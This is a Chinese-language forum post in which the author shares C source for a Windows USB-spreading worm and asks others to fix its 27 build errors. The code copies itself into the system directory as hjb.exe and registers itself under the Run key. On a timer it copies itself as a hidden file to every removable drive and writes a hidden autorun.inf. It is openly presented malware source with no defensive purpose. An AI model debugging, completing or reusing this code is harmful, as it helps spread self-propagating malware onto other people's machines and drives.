我写了个U盘传播源码`不知道错在哪里了``
#include<windows.h> #include "Shlwapi.h"
LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM);
void setBoot();
void infect();
void CALLBACK TimerProc(HWND,UINT,UINT,DWORD);
HWND hwnd;
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
MSG msg;
WNDCLASS wndclass;
wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hbrBackground=HBRUSH(COLOR_MENU+1);
wndclass.hCursor=LoadCursor(NULL,IDC_CROSS);
wndclass.hIcon=NULL;
wndclass.hInstance=hInstance;
wndclass.lpfnWndProc=myproc;
wndclass.lpszClassName="test";
wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC;
wndclass.lpszMenuName=NULL;
RegisterClass(&wndclass);
hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL);
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
setBoot();
SetTimer(hwnd,1,8000,TimerProc);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hwnd,message,wParam,lParam);
}
}
void setBoot()
{
int pcount;
int i;
char position[512];
char fileName[]={"\\hjb.exe"};
pcount=GetSystemDirectory(position,512);
for(i=pcount;fileName[i-pcount]!='\0';i++)
{
position[i]=fileName[i-pcount];
}
position[i]='\0';
char buffer[255];
if(PathFileExists(position)==false)
{
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,position,FALSE);
}
char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int rets;
rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32);
if(rets==0)
{
RegCloseKey(hkResult);
}
}
void createINF(char drive)
{
char autorun[]={"[autorun]\nopen=hjb.exe\n"};
char path[]={"x:\\autorun.inf"};
path[0]=drive;
HANDLE inf;
unsigned long count;
inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
if(inf!=INVALID_HANDLE_VALUE)
{
WriteFile(inf,autorun,sizeof(autorun),&count,NULL);
CloseHandle(inf);
}
}
void infect()
{
char i;
char pat[255];
char buffer[255];
char fileName[]={"\\hjb.exe"};
pat[1]=':';
pat[2]='\\';
pat[3]='\0';
int j;
for(j=3;fileName[j-3]!='\0';j++)
{
pat[j]=fileName[j-3];
}
pat[j]='\0';
for(i='C';i<='Z';i++)
{
pat[0]=i;
pat[3]='\0';
if(GetDriveType(pat)==DRIVE_REMOVABLE)
{
pat[3]='\\';
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,pat,FALSE);
SetFileAttributes(pat,7);
createINF(i);
pat[3]='\0';
}
}
}
void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)
{
infect();
}
----------------------------------------------------------
正在生成代码...
生成日志保存在“file://c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects\s\s\Debug\BuildLog.htm”
s - 27 个错误,个警告
请高手帮我改改